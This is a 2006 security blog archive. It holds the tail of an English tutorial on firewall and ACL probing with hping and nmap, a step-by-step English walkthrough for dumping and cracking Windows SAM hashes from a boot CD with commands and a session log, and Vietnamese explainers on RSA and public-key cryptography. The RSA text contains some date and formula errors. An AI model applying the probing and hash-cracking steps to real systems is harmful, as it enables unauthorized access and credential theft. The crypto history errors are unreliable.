[root@localhost]# hping 10.10.1.10 -c2 -S -p80 -n
HPING 10.10.1.10 (eth0 10.10.1.1) : S set, 40 data bytes
ICMP Unreachable type 13 from 10.10.1.8

For this hping, we recieve an ICMP type 13 packet, which is an ICMP administrator prohibited filter packet. From these few commands we have confirmed that 10.10.1.8 is our firewall, and it is most likely blocking port 80 on 10.10.1.10. Another likely response you might get from a firewalled host is as follows.

[root@localhost]# hping 10.10.1.16 -c2 -S -p23 -n
HPING 10.10.1.16 (10.10.1.1) : S set, 40 data bytes
60 bytes from 10.10.1.1: flags=RA seq=0 ttl=59 id=0 win=0 time=0.5 ms

This shows 1 of 2 items of possibilities. Number 1 being that the packet was accepted by the firewall and the packet fit the ACL rules, yet the host is not listening on that port. Or Number 2 being that the firewall rejected the packet (as in Checkpoint’s reject packet option and rules).

By using the ICMP type 13 packet we had obtained earlier, we can assume that the firewall is allowing our packet through, but the host is just not listening. And Of course, when a paranoid administrator configures the firewall to block all packets, you will receive:

[root@localhost]# hping 10.10.1.16 -c2 -S -p23 -n
HPING 10.10.1.16 (10.10.1.1) : S set, 40 data bytes

Source Port Scanning:

This technique applies to packet filtering applications and devices which do not maintain state. For example, Cisco’s IOS. When thought about, if a firewall cannot maintain state, then it cannot manifest if the connection is inward or outbound. In this case, transmissions may pass through unfiltered. Setting the source port to a common port that is allowed through firewalls, for example our earlier example, UDP port 53 (DNS). Using the -g option with nmap:

[root@localhost]# nmap -sS -P0 -g 53 -p 139 10.10.1.15

If you receive a positive output of open ports, then you most likely have a vulnerable firewall.

Badly Configured ICMP Packets:

I will breifly discuss this, it has been well documented at http://www.blackhat.com. According the paper, we can use various methods to elicit an ICMP error message back from a probed host and discover its existence. Some of the methods are as follows:

– Mangling IP headers

– Different Header Length Field

– IP Options Field

– Using non-valid field values in the IP header

– Using valid field values in the IP header (opposite of above)

– Abusing Fragmentation

With the first method we are using bad IP headers in the IP datagram that would generate an ICMP Parameter Problem err or back from the probed machine to the source IP address of the probing datagram. The second method use non-valid field values in the IP header in order to force the probed machine to generate ICMP Destination Unreachable error message back to the malicious computer attacker. The third method discussed uses fragmentation to trigger an ICMP Fragment Reassembly Time Exceeded error message from the probed machine. The last method uses the UDP Scan method to elicit ICMP Port Unreachable error message back from a closed UDP port(s) on the probed host(s). You can learn more about it at http://expert.cc.purdue.edu/~frantzen.

If we probe the entire IP range of the targeted network with all combinations of protocols and ports, it would draw us the targeted network topology map, and will allow us to determine the access list (ACL) a Filtering Device (If present, and not blocking outgoing ICMP Parameter Problem Error messages) is forcing.

Conclusion:

There are many ways to detect and probe a network. I have just discussed a few main key-points that will lead to the discovery of other techniques. This document was also aimed at administrators who believe that they’re networks are secure, and to try these techniques out themselves on their own systems. These techniques can be constantly used to probe and draw out your network’s topology, including the firewall’s ACL.

Truth; a well-configured is very hard to bypass. Tools like traceroute, nmap, hping, and others that can be used, help attackers to discover (or at least, assume) access paths through your roughter and firewall as well as the type of firewall you are using. Many vulnerabilities found are due to misconfigurations in your firewalls ACL’s, or even a lack of monitoring and administration of the logs, traffic, and maintenance.

Tháng Bảy 24, 2006 Posted by | Security Exploits, Security Tools | 3 bình luận

Crack a SAM file with SysKey enabled

        SysKey is an extra level of encryption put on the hashes in the SAM file. SysKey was introduced in Service Pack 3 (SP3) for NT 4 but every version of Windows since has had SysKey enabled by default. The way most folks crack a SAM file on a system that uses SysKey is by running a utility called PWDump as an admin to get the LM (LAN Manager) and NT hashes. The problem is PWdump only works if you can run it from an administrator level account, and if the reason an attacker is cracking the hashes in the first place is to get an administrator level account then PWdump is of little use.

        Some folks will ask why would you want to crack the passwords in the SAM at all since it’s far easier to just change the Administrator password using a Linux boot disk or Sala’s Password Renew for PE Builder. The reason an attacker may want to crack the local passwords instead of changing them is two fold:

1. An attacker doesn’t want to tip off the system administrators. If they notice that the old local admin password no longer works they will get a little bit suspicious don’t you think? This is somewhat solved by Sala’s Password Renew since it lets you add new admin level accounts as well as change existing account’s passwords.

2. The same local account passwords may be used on other systems on the network (and most likely are if they use imaging software like Ghost). If the attacker can crack one machine’s admin password that same password may allow the attacker to gain access to other boxes on that LAN that they only have remote access (across the network) to.

        This article assumes that the attacker has only physical access to the machine whose SAM they want to crack and that they also have access to the Knoppix variant known as the Auditor security collection boot CD. Here are the steps you will need to take in order to audit local passwords using the Auditor CD:

Step 1. Download the Auditor Boot CD ISO and burn it to a CD-R. All of the tools we will be using in this tutorial come on the Auditor Boot CD.

Step 2. Insert the Auditor Boot CD into the target system, reboot and set the CD-ROM as the first boot device in the BIOS. Some systems let you hold down a certain function key at startup to choose what media to boot from.

Step 3. Auditor will begin to boot and ask you what screen resolution you want to use. Choose a resolution that your monitor and video card will support then hit enter.

Step 4. When Auditor finishes booting click on the icon on the KDE bar for a new terminal window (it looks like a little monitor). Below you will see the commands you will have to use to get past SysKey, extract the hashes and attempt to crack the password hashes.

Step 5. Mount the local hard disk, most likely hda1:

Linux Command:
mount /dev/hda1

Step 6. Change the present working directory to the ramdisk so we space to work with the files we will be creating:

Linux Command:
cd /ramdisk/

Step 7. Auditor comes with Ncuomo’s Samdump2 and Bkhive. We will be using these tools to extract the system key from the System hive and the password hashes from the SAM file. To get the system key we need to use the Bkhive on our SYSTEM file (most likely in C:\WINDOWS\system32/config\SYSTEM, that’s where it is on my XP Pro test box, on some systems it will me in C:\WINNT\system32/config\SYSTEM or perhaps some other drive entirely). By the way, if for some reason you are running NT4 SP3 you will need to use Bkreg instead, all later system (NT4 SP4, 2000 and XP) use Bkhive. To grab the system key and put it into a file we use the following command:

Linux Command:
bkhive-linux /mnt/hda1/WINDOWS/system32/config/system saved-syskey.txt

Step 8. Now that we have the system key we can use it to undo SysKey on the SAM, extract the hashes and place them into a PWDump format file:

Linux Command:
samdump2-linux /mnt/hda1/WINDOWS/system32/config/sam saved-syskey.txt>password-hashes.txt

Step 9. At this point we have a PWDump format file called password-hashes.txt that we could copy off of the system and import into L0phtcrack or Cain. Since I said we were going to do it all with the Auditor CD and Open Source tools we will use John the Ripper to crack the hashes, but before we can use John we have to extract one of the many wordlists that comes with Auditor. Take a look on the CD in /opt/auditor/full/share/wordlists/ for all of the different wordlists you can use, I’ll use english.txt for this tutorial. To extract english.txt to the ramdisk use the following command:

Linux Command:
gunzip -c /opt/auditor/full/share/wordlists/english/english.txt.gz> /ramdisk/eng.txt

Step 10. Now that everything is in place we can run John with a simple dictionary attack to see if we can crack any of the hashes:

Linux Command:
john password-hashes.txt -w:eng.txt

        John detects that the dump file has LM (LAN Manager) hashes in it and chooses the format “NT LM DES [32/32 BS]” automatically. If I had disabled the storing of LM hashes in the SAM I might want to use the –f option to specify the NT hash format and try to crack the NT hashes instead. To do that I would use the following command:

Linux Command:
john password-hashes.txt -f:NT -w:eng.txt

        If dictionary attacks aren’t working and you have a lot of time (as well as a fast computer) you can try John’s incremental (brute force) mode and see if it gives you better results:

Linux Command:
john password-hashes.txt -i:all

        Incremental mode is limited to only eight characters unless you change the source before you compile it, but at more than eight characters you will likely be waiting a very long time for John to finish. Doing more that eight characters is pointless anyway if you have the LM hashes since there are stored as two seven byte parts (NT hashes are a different story and can be harder to crack).

        In case you were wondering what all of these commands would look like along with their output here is a copy of my session log that may help you understand how they all work together (notice that the password for the Administrator account is “monkey”):

Session Log saved from Auditor CD:
root@1[~]# mount /dev/hda1
root@1[~]# cd /ramdisk/
root@1[ramdisk]# bkhive-linux /mnt/hda1/WINDOWS/system32/config/system saved-syskey.txt
Bkhive diempham@vietshield.com

Bootkey: 407af4376e55f1fd6d58cc47a4fa4c01
root@1[ramdisk]# samdump2-linux /mnt/hda1/WINDOWS/system32/config/sam saved-syskey.txt>password-hashes
.txt
Samdump2 diempham@vietshield.com
This product includes cryptographic software written
by Eric Young (eay@cryptsoft.com)

No password for user Guest(501)
No V value!
root@1[ramdisk]# gunzip -c /opt/auditor/full/share/wordlists/english/english.txt.gz> /ramdisk/eng.txt
root@1[ramdisk]# john password-hashes.txt -w:eng.txt
Loaded 3 password hashes with no different salts (NT LM DES [32/32 BS])
MONKEY           (Administrator)
guesses: 1  time: 0:00:00:03 100%  c/s: 1622943  trying: ZZYZX – ZZZZZZZ
root@1[ramdisk]# john password-hashes.txt -f:NT -w:eng.txt
Loaded 2 password hashes with no different salts (NT MD4 [TridgeMD4])
monkey           (Administrator)
guesses: 1  time: 0:00:00:12 100%  c/s: 464435  trying: zzzzzzzzzzzzzzzzzzzzzz
root@1[ramdisk]#

Mitigating SAM and SysKey Cracking

        There are a few things you can do to make it harder for attacker to crack you local passwords. An attacker will most likely have to get into the BIOs to set it to boot from the CD-ROM. Setting up a BIOs password will help keep crackers from using the Auditor CD (or any boot CD) but if they can get into the computer’s case it’s easy to reset a BIOs password so some sort of physical case lock should be used as well. Strong passwords (non-dictionary words with more that just alphanumeric characters) will also make it harder for attackers to crack passwords since they will have to resort to potentially slow brute force methods.

        I hope this short tutorial helps, feel free to write me if you have any questions.  Enjoy your hash. 🙂

Tháng Bảy 13, 2006 Posted by | Network and Security, Security Tools | 3 bình luận

Ma hoa RSA

Trong mật mã học, RSA là một thuật toán mã hóa khóa công cộng. Đây là thuật toán đầu tiên phù hợp với việc tạo ra chữ ký điện tử đồng thời với việc mã hóA. Nó đánh dấu một sự tiến bộ vượt bậc của lĩnh vực mật mã học trong việc sử dụng khóa công cộng. RSA đang được sử dụng phổ biến trong thương mại điện tử và được cho là đảm bảo an toàn với điều kiện độ dài khóa đủ lớn.

Mục lục

 

Lịch sử

Thuật toán được Ron Rivest, Adi ShamirLen Adleman mô tả lần đầu tiên vào năm 1977 tại Học viện Công nghệ Massachusetts (MIT). Tên của thuật toán lấy từ 3 chữ cái đầu của tên 3 tác giả.

Trước đó, vào năm 1973, Clifford Cocks, một nhà toán học người Anh làm việc tại GCHQ, đã mô tả một thuật toán tương tự. Với khả năng tính toán tại thời điểm đó thì thuật toán này không khả thi và chưa bao giờ được thực nghiệm. Tuy nhiên, phát minh này chỉ được công bố vào năm 1997 vì được xếp vào loại tuyệt mật.

Thuật toán RSA được MIT đăng ký bằng sáng chế tại Hoa Kỳ vào năm 1983 (Số đăng ký 4,405,829). Bằng sáng chế này hết hạn vào ngày 21 tháng 9 năm 2000. Tuy nhiên, do thuật toán đã được công bố trước khi có đăng ký bảo hộ nên sự bảo hộ hầu như không có giá trị bên ngoài Hoa Kỳ. Ngoài ra, nếu như công trình của Clifford Cocks đã được công bố trước đó thì bằng sáng chế RSA đã không thể được đăng ký.

Hoạt động

Mô tả sơ lược

Thuật toán RSA có hai khóa: khóa công khai (hay khóa công cộng) và khóa bí mật (hay khóa cá nhân). Mỗi khóa là những số cố định sử dụng trong quá trình mã hóa và giải mã. Khóa công khai được công bố rộng rãi cho mọi người và được dùng để mã hóa. Những thông tin được mã hóa bằng khóa công khai chỉ có thể được giải mã bằng khóa bí mật tương ứng. Nói cách khác, mọi người đều có thể mã hóa nhưng chỉ có người biết khóa cá nhân mới có thể giải mã được.

Một ví dụ trực quan: Bob muốn gửi cho Alice một thông tin mật mà Bob muốn duy nhất Alice có thể đọc được. Để làm được điều này, Alice gửi cho Bob một chiếc hộp có khóa đã mở và giữ lại chìa khóa. Bob nhận chiếc hộp, cho vào đó một tờ giấy viết thư bình thường và khóa lại (lúc này ngay cả Bob cũng không thể đọc lại hay sửa thông tin trong thư được nữa). Sau đó Bob gửi chiếc hộp lại cho Alice. Alice mở hộp với chìa khóa của mình và đọc thông tin trong thư. Trong ví dụ này, chiếc hộp với khóa mở đóng vai trò khóa công khai, chiếc chìa khóa chính là khóa bí mật.

Tạo khóa

Giả sử Alice và Bob cần trao đổi thông tin bí mật thông qua một kênh không an toàn (ví dụ như Internet). Với thuật toán RSA, Alice đầu tiên cần tạo ra cho mình cặp khóa gồm khóa công khai và khóa bí mật theo các bước sau:

  1. Chọn 2 số nguyên tố lớn p \,q \, với p \ne q, lựa chọn ngẫu nhiên và độc lập.
  2. Tính: n = p q \,.
  3. Tính: totient \phi(n) = (p-1)(q-1) \,.
  4. Chọn một số tự nhiên e sao cho 1 < e < \phi(n) \, và là số nguyên tố cùng nhau với \phi(n) \, .
  5. Tính: d sao cho d e \equiv 1 \pmod{\phi(n)}.
  • Các số nguyên tố thường được chọn bằng phương pháp thử xác suất.
  • Các bước 4 và 5 có thể được thực hiện bằng thuật toán Euclid mở rộng(xem thêm: số học môđun).
  • Bước 5 có thể viết cách khác: Tìm số tự nhiên x \, sao cho d = \frac{x(p-1)(q-1)+1}{e} cũng là số tự nhiên. Khi đó sử dụng giá trị d \mod{(p-1)(q-1)} \,.
  • Từ bước 3, PKCS#1 v2.1 sử dụng \lambda = LCM(p-1, q-1) \, thay cho \phi = (p-1)(q-1) \,).

Khóa công khai bao gồm:

  • n, môđun, và
  • e, số mũ công khai (cũng gọi là số mũ mã hóa).

Khóa bí mật bao gồm:

  • n, môđun, xuất hiện cả trong khóa công khai và khóa bí mật, và
  • d, số mũ bí mật (cũng gọi là số mũ giải mã).

Một dạng khác của khóa bí mật bao gồm:

  • p and q, hai số nguyên tố chọn ban đầu,
  • d mod (p-1)d mod (q-1) (thường được gọi là dmp1dmq1),
  • (1/q) mod p (thường được gọi là iqmp)

Dạng này cho phép thực hiện giải mã và ký nhanh hơn với việc sử dụng Định lý số dư Trung quốc (tiếng Anh:Chinese Remainder Theorem – CRT). Ở dạng này, tất cả thành phần của khóa bí mật phải được giữ bí mật.

Alice gửi khóa công khai cho Bob, và giữ bí mật khóa cá nhân của mình. Ở đây, pq giữ vai trò rất quan trọng. Chúng là các phân tố của n và cho phép tính d khi biết e. Nếu không sử dụng dạng sau của khóa bí mật (dạng CRT) thì pq sẽ được xóa ngay sau khi thực hiện xong quá trình tạo khóa.

Mã hóa

Giả sử Bob muốn gửi đoạn thông tin M cho Alice. Đầu tiên Bob chuyển M thành một số m < n theo một hàm có thể đảo ngược (từ m có thể xác định lại M) được thỏa thuận trước. Quá trình này được mô tả ở phần #Chuyển đổi văn bản rõ

Lúc này Bob có m và biết n cũng như e do Alice gửi. Bob sẽ tính c là bản mã hóa của m theo công thức:

c = m^e \mod{n}

Hàm trên có thể tính dễ dàng sử dụng phương pháp tính hàm mũ (môđun) bằng phương pháp bình phương (exponentiation by squaring). Cuối cùng Bob gửi c cho Alice.

Giải mã

Alice nhận c từ Bob và biết khóa bí mật d. Alice có thể tìm được m từ c theo công thức sau:

m = c^d \mod{n}

Biết m, Alice tìm lại M theo phương pháp đã thỏa thuận trước. Quá trình giải mã hoạt động vì ta có

c^d \equiv (m^e)^d \equiv m^{ed} \pmod{n}.

Do ed ≡ 1 (mod p-1) và ed ≡ 1 (mod q-1), (theo Định lý Fermat nhỏ) nên:

m^{ed} \equiv m \pmod{p}

m^{ed} \equiv m \pmod{q}

Do pq là hai số nguyên tố cùng nhau, áp dụng định lý số dư Trung quốc, ta có:

m^{ed} \equiv m \pmod{pq}.

hay:

c^d \equiv m \pmod{n}.

Ví dụ

Sau đây là một ví dụ với những số cụ thể. Ở đây chúng ta sử dụng những số nhỏ để tiện tính toán còn trong thực tế phải dùng các số có giá trị đủ lớn.

Lấy:

p = 61 — số nguyên tố thứ nhất (giữ bí mật hoặc hủy sau khi tạo khóa)
q = 53 — số nguyên tố thứ hai (giữ bí mật hoặc hủy sau khi tạo khóa)
n = pq = 3233 — môđun (công bố công khai)
e = 17 — số mũ công khai
d = 2753 — số mũ bí mật

Khóa công khai là cặp (e, n). Khóa bí mật là d. Hàm mã hóa là:

encrypt(m) = me mod n = m17 mod 3233

với mvăn bản rõ. Hàm giải mã là:

decrypt(c) = cd mod n = c2753 mod 3233

với cvăn bản mã.

Để mã hóa văn bản có giá trị 123, ta thực hiện phép tính:

encrypt(123) = 12317 mod 3233 = 855

Để giải mã văn bản có giá trị 855, ta thực hiện phép tính:

decrypt(855) = 8552753 mod 3233 = 123

Cả hai phép tính trên đều có thể được thực hiện hiệu quả với phương pháp tính hàm mũ (môđun) bằng phương pháp bình phương.

Chuyển đổi văn bản rõ

Trước khi thực hiện mã hóa, ta phải thực hiện việc chuyển đổi văn bản rõ (chuyển đổi từ M sang m) sao cho không có giá trị nào của M tạo ra văn bản mã không an toàn. Nếu không có quá trình này, RSA sẽ gặp phải một số vấn đề sau:

  • Nếu m = 0 hoặc m = 1 sẽ tạo ra các bản mã có giá trị là 0 và 1 tương ứng
  • Khi mã hóa với số mũ nhỏ (chẳng hạn e = 3) và m cũng có giá trị nhỏ, giá trị me cũng nhận giá trị nhỏ (so với n). Như vậy phép môđun không có tác dụng và có thể dễ dàng tìm được m bằng cách khai căn bậc e của c (bỏ qua môđun).
  • RSA là phương pháp mã hóa xác định (không có thành phần ngẫu nhiên) nên kẻ tấn công có thể thực hiện tấn công lựa chọn bản rõ bằng cách tạo ra một bảng tra giữa bản rõ và bản mã. Khi gặp một bản mã, kẻ tấn công sử dụng bảng tra để tìm ra bản rõ tương ứng.

Trên thực tế, ta thường gặp 2 vấn đề đầu khi gửi các bản tin ASCII ngắn với m là nhóm vài ký tự ASCII. Một đoạn tin chỉ có 1 ký tự NUL sẽ được gán giá trị m = 0 và cho ra bản mã là 0 bất kể giá trị của eN. Tương tự, một ký tự ASCII khác, SOH, có giá trị 1 sẽ luôn cho ra bản mã là 1. Với các hệ thống dùng giá trị e nhỏ thì tất cả ký tự ASCII đều cho kết quả mã hóa không an toàn vì giá trị lớn nhất của m chỉ là 255 và 2553 nhỏ hơn giá trị n chấp nhận được. Những bản mã này sẽ dễ dàng bị phá mã.

Để tránh gặp phải những vấn đề trên, RSA trên thực tế thường bao gồm một hình thức chuyển đổi ngẫu nhiên hóa m trước khi mã hóa. Quá trình chuyển đổi này phải đảm bảo rằng m không rơi vào các giá trị không an toàn. Sau khi chuyển đổi, mỗi bản rõ khi mã hóa sẽ cho ra một trong số khả năng trong tập hợp bản mã. Điều này làm giảm tính khả thi của phương pháp tấn công lựa chọn bản rõ (một bản rõ sẽ có thể tương ứng với nhiều bản mã tuỳ thuộc vào cách chuyển đổi).

Một số tiêu chuẩn, chẳng hạn như PKCS, đã được thiết kế để chuyển đổi bản rõ trước khi mã hóa bằng RSA. Các phương pháp chuyển đổi này bổ sung thêm bít vào M. Các phương pháp chuyển đổi cần được thiết kế cẩn thận để tránh những dạng tấn công phức tạp tận dụng khả năng biết trước được cấu trúc của bản rõ. Phiên bản ban đầu của PKCS dùng một phương pháp đặc ứng (ad-hoc) mà về sau được biết là không an toàn trước tấn công lựa chọn bản rõ thích ứng (adaptive chosen ciphertext attack). Các phương pháp chuyển đổi hiện đại sử dụng các kỹ thuật như chuyển đổi mã hóa bất đối xứng tối ưu (Optimal Asymmetric Encryption Padding – OAEP) để chống lại tấn công dạng này. Tiêu chuẩn PKCS còn được bổ sung các tính năng khác để đảm bảo an toàn cho chữ ký RSA (Probabilistic Signature Scheme for RSA – RSA-PSS).

Tạo chữ ký vào văn bản

Thuật toán RSA còn được dùng để tạo chữ ký điện tử cho văn bản. Giả sử Alice muốn gửi cho Bob một văn bản có chữ ký của mình. Để làm việc này, Alice tạo ra một giá trị băm (hash value) của văn bản cần ký và tính giá trị mũ d mod n của nó (giống như khi Alice thực hiện giải mã). Giá trị cuối cùng chính là chữ ký điện tử của văn bản đang xét. Khi Bob nhận được văn bản cùng với chữ ký điện tử, anh ta tính giá trị mũ 3 mod n của chữ ký đồng thời với việc tính giá trị băm của văn bản. Nếu 2 giá trị này như nhau thì Bob biết rằng người tạo ra chữ ký biết khóa bí mật của Alice và văn bản đã không bị thay đổi sau khi ký.

Cần chú ý rằng các phương pháp chuyển đổi bản rõ (như RSA-PSS) giữ vai trò quan trọng đối với quá trình mã hóa cũng như chữ ký điện tử và không được dùng khóa chung cho đồng thời cho cả hai mục đích trên.

An ninh

Độ an toàn của hệ thống RSA dựa trên 2 vấn đề của toán học: bài toán phân tích ra thừa số nguyên tố các số nguyên lớnbài toán RSA. Nếu 2 bài toán trên là khó (không tìm được thuật toán hiệu quả để giải chúng) thì không thể thực hiện được việc phá mã toàn bộ đối với RSA. Phá mã một phần phải được ngăn chặn bằng các phương pháp chuyển đổi bản rõ an toàn.

Bài toán RSA là bài toán tính căn bậc e môđun n (với n là hợp số): tìm số m sao cho me=c mod n, trong đó (e, n) chính là khóa công khai và c là bản mã. Hiện nay phương pháp triển vọng nhất giải bài toán này là phân tích n ra thừa số nguyên tố. Khi thực hiện được điều này, kẻ tấn công sẽ tìm ra số mũ bí mật d từ khóa công khai và có thể giải mã theo đúng quy trình của thuật toán. Nếu kẻ tấn công tìm được 2 số nguyên tố pq sao cho: n = pq thì có thể dễ dàng tìm được giá trị (p-1)(q-1) và qua đó xác định d từ e. Chưa có một phương pháp nào được tìm ra trên máy tính để giải bài toán này trong thời gian đa thức (polynomial-time). Tuy nhiên người ta cũng chưa chứng minh được điều ngược lại (sự không tồn tại của thuật toán). Xem thêm phân tích ra thừa số nguyên tố về vấn đề này.

Tại thời điểm năm 2005, số lớn nhất có thể được phân tích ra thừa số nguyên tố có độ dài 663 bít với phương pháp phân tán trong khi khóa của RSA có độ dài từ 1024 tới 2048 bít. Một số chuyên gia cho rằng khóa 1024 bít có thể sớm bị phá vỡ (cũng có nhiều người phản đối việc này). Với khóa 4096 bít thì hầu như không có khả năng bị phá vỡ trong tương lai gần. Do đó, người ta thường cho rằng RSA đảm bảo an toàn với điều kiện n được chọn đủ lớn. Nếu n có độ dài 256 bít hoặc ngắn hơn, nó có thể bị phân tích trong vài giờ với máy tính cá nhân dùng các phần mềm có sẵn. Nếu n có độ dài 512 bít, nó có thể bị phân tích bởi vài trăm máy tính tại thời điểm năm 1999. Một thiết bị lý thuyết có tên là TWIRL do Shamir và Tromer mô tả năm 2003 đã đặt ra câu hỏi về độ an toàn của khóa 1024 bít. Vì vậy hiện nay người ta khuyến cáo sử dụng khóa có độ dài tối thiểu 2048 bít.

Năm 1993, Peter Shor công bố thuật toán Shor chỉ ra rằng: máy tính lượng tử (trên lý thuyết) có thể giải bài toán phân tích ra thừa số trong thời gian đa thức. Tuy nhiên, máy tính lượng tử vẫn chưa thể phát triển được tới mức độ này trong nhiều năm nữa.

Các vấn đề đặt ra trong thực tế

Quá trình tạo khóa

Việc tìm ra 2 số nguyên tố đủ lớn pq thường được thực hiện bằng cách thử xác suất các số ngẫu nhiên có độ lớn phù hợp (dùng phép kiểm tra nguyên tố cho phép loại bỏ hầu hết các hợp số).

pq còn cần được chọn không quá gần nhau để phòng trường hợp phân tích n bằng phương pháp phân tích Fermat. Ngoài ra, nếu p-1 hoặc q-1 có thừa số nguyên tố nhỏ thì n cũng có thể dễ dàng bị phân tích và vì thế pq cũng cần được thử để tránh khả năng này.

Bên cạnh đó, cần tránh sử dụng các phương pháp tìm số ngẫu nhiên mà kẻ tấn công có thể lợi dụng để biết thêm thông tin về việc lựa chọn (cần dùng các bộ tạo số ngẫu nhiên tốt). Yêu cầu ở đây là các số được lựa chọn cần đồng thời ngẫu nhiên và không dự đoán được. Đây là các yêu cầu khác nhau: một số có thể được lựa chọn ngẫu nhiên (không có kiểu mẫu trong kết quả) nhưng nếu có thể dự đoán được dù chỉ một phần thì an ninh của thuật toán cũng không được đảm bảo. Một ví dụ là bảng các số ngẫu nhiên do tập đoàn Rand xuất bản vào những năm 1950 có thể rất thực sự ngẫu nhiên nhưng kẻ tấn công cũng có bảng này. Nếu kẻ tấn công đoán được một nửa chữ số của p hay q thì chúng có thể dễ dàng tìm ra nửa còn lại (theo nghiên cứu của Donald Coppersmith vào năm 1997)

Một điểm nữa cần nhấn mạnh là khóa bí mật d phải đủ lớn. Năm 1990, Wiener chỉ ra rằng nếu giá trị của p nằm trong khoảng q và 2q (khá phổ biến) và d < n1/4/3 thì có thể tìm ra được d từ ne.

Mặc dù e đã từng có giá trị là 3 nhưng hiện nay các số mũ nhỏ không còn được sử dụng do có thể tạo nên những lỗ hổng (đã đề cập ở phần chuyển đổi văn bản rõ). Giá trị thường dùng hiện nay là 65537 vì được xem là đủ lớn và cũng không quá lớn ảnh hưởng tới việc thực hiện hàm mũ.

Tốc độ

RSA có tốc độ thực hiện chậm hơn đáng kể so với DES và các thuật toán mã hóa đối xứng khác. Trên thực tế, Bob sử dụng một thuật toán mã hóa đối xứng nào đó để mã hóa văn bản cần gửi và chỉ sử dụng RSA để mã hóa khóa để giải mã (thông thường khóa ngắn hơn nhiều so với văn bản).

Phương thức này cũng tạo ra những vấn đề an ninh mới. Một ví dụ là cần phải tạo ra khóa đối xứng thật sự ngẫu nhiên. Nếu không, kẻ tấn công (thường ký hiệu là Eve) sẽ bỏ qua RSA và tập trung vào việc đoán khóa đối xứng.

Phân phối khóa

Cũng giống như các thuật toán mã hóa khác, cách thức phân phối khóa công khai là một trong những yếu tố quyết định đối với độ an toàn của RSA. Quá trình phân phối khóa cần chống lại được tấn công đứng giữa (man-in-the-middle attack). Giả sử Eve có thể gửi cho Bob một khóa bất kỳ và khiến Bob tin rằng đó là khóa (công khai) của Alice. Đồng thời Eve có khả năng đọc được thông tin trao đổi giữa Bob và Alice. Khi đó, Eve sẽ gửi cho Bob khóa công khai của chính mình (mà Bob nghĩ rằng đó là khóa của Alice). Sau đó, Eve đọc tất cả văn bản mã hóa do Bob gửi, giải mã với khóa bí mật của mình, giữ 1 bản copy đồng thời mã hóa bằng khóa công khai của Alice và gửi cho Alice. Về nguyên tắc, cả Bob và Alice đều không phát hiện ra sự can thiệp của người thứ ba. Các phương pháp chống lại dạng tấn công này thường dựa trên các chứng thực điện tử (digital certificate) hoặc các thành phần của hạ tầng khóa công cộng (public key infrastructure – PKI).

Tấn công dựa trên thời gian

Vào năm 1995, Paul Kocher mô tả một dạng tấn công mới lên RSA: nếu kẻ tấn công nắm đủ thông tin về phần cứng thực hiện mã hóa và xác định được thời gian giải mã đối với một số bản mã lựa chọn thì có thể nhanh chóng tìm ra khóa d. Dạng tấn công này có thể áp dụng đối với hệ thống chữ ký điện tử sử dụng RSA. Năm 2003, Dan BonehDavid Brumley chứng minh một dạng tấn công thực tế hơn: phân tích thừa số RSA dùng mạng máy tính (Máy chủ web dùng SSL). Tấn công đã khai thác thông tin rò rỉ của việc tối ưu hóa định lý số dư Trung quốc mà nhiều ứng dụng đã thực hiện.

Để chống lại tấn công dựa trên thời gian là đảm bảo quá trình giải mã luôn diễn ra trong thời gian không đổi bất kể văn bản mã. Tuy nhiên, cách này có thể làm giảm hiệu suất tính toán. Thay vào đó, hầu hết các ứng dụng RSA sử dụng một kỹ thuật gọi là che mắt. Kỹ thuật này dựa trên tính nhân của RSA: thay vì tính cd mod n, Alice đầu tiên chọn một số ngẫu nhiên r và tính (rec)d mod n. Kết quả của phép tính này là rm mod n và tác động của r sẽ được loại bỏ bằng cách nhân kết quả với nghịch đảo của r. Đỗi với mỗi văn bản mã, người ta chọn một giá trị của r. Vì vậy, thời gian giải mã sẽ không còn phụ thuộc vào giá trị của văn bản mã.

Tấn công lựa chọn thích nghi bản mã

Năm 1981, Daniel Bleichenbacher mô tả dạng tấn công lựa chọn thích nghi bản mã (adaptive chosen ciphertext attack) đầu tiên có thể thực hiện trên thực tế đối với một văn bản mã hóa bằng RSA. Văn bản này được mã hóa dựa trên tiêu chuẩn PKCS #1 v1, một tiêu chuẩn chuyển đổi bản rõ có khả năng kiểm tra tính hợp lệ của văn bản sau khi giải mã. Do những khiếm khuyết của PKCS #1, Bleichenbacher có thể thực hiện một tấn công lên bản RSA dùng cho giao thức SSL (tìm được khóa phiên). Do phát hiện này, các mô hình chuyển đổi an toàn hơn như chuyển đổi mã hóa bất đối xứng tối ưu (Optimal Asymmetric Encryption Padding) được khuyến cáo sử dụng. Đồng thời phòng nghiên cứu của RSA cũng đưa ra phiên bản mới của PKCS #1 có khả năng chống lại dạng tấn công nói trên.

Tháng Bảy 10, 2006 Posted by | Network and Security | 8 bình luận

Ma hoa khoa cong cong

Mã hóa khóa công cộng là một dạng mã hóa cho phép người sử dụng trao đổi các thông tin mật mà không cần phải trao đổi các khóa chung bí mật trước đó. Điều này được thực hiện bằng cách sử dụng một cặp khóa có quan hệ toán học với nhau là khóa công cộng (hay khóa công khai) và khóa cá nhân (hay khóa bí mật).

Thuật ngữ mã hóa khóa bất đối xứng thường được dùng đồng nghĩa với mã hóa khóa công cộng mặc dù hai khái niệm không hoàn toàn tương đương. Có những thuật toán mã khóa bất đối xứng không có tính chất khóa công cộng và bí mật như đề cập ở trên mà cả hai khóa (cho mã hóa và giải mã) đều cần phải giữ bí mật.

Trong mã hóa khóa công cộng, khóa cá nhân phải được giữ bí mật trong khi khóa công cộng được phổ biến công khai. Trong 2 khóa, một dùng để mã hóa và khóa còn lại dùng để giải mã. Điều quan trọng đối với hệ thống là không thể tìm ra khóa bí mật nếu chỉ biết khóa công cộng.

Hệ thống mã hóa khóa công cộng có thể sử dụng với các mục đích:

  • Mã hóa: giữ bí mật thông tin và chỉ có người có khóa bí mật mới giải mã được.
  • Tạo chữ ký số: cho phép kiểm tra một văn bản có phải đã được tạo với một khóa bí mật nào đó hay không.
  • Thỏa thuận khóa: cho phép thiết lập khóa dùng để trao đổi thông tin mật giữa 2 bên.

Thông thường, các kỹ thuật mã hóa khóa công cộng đòi hỏi khối lượng tính toán nhiều hơn các kỹ thuật mã hóa khóa đối xứng nhưng những lợi điểm mà chúng mang lại khiến cho chúng được áp dụng trong nhiều ứng dụng.

Mục lục

//

Lịch sử

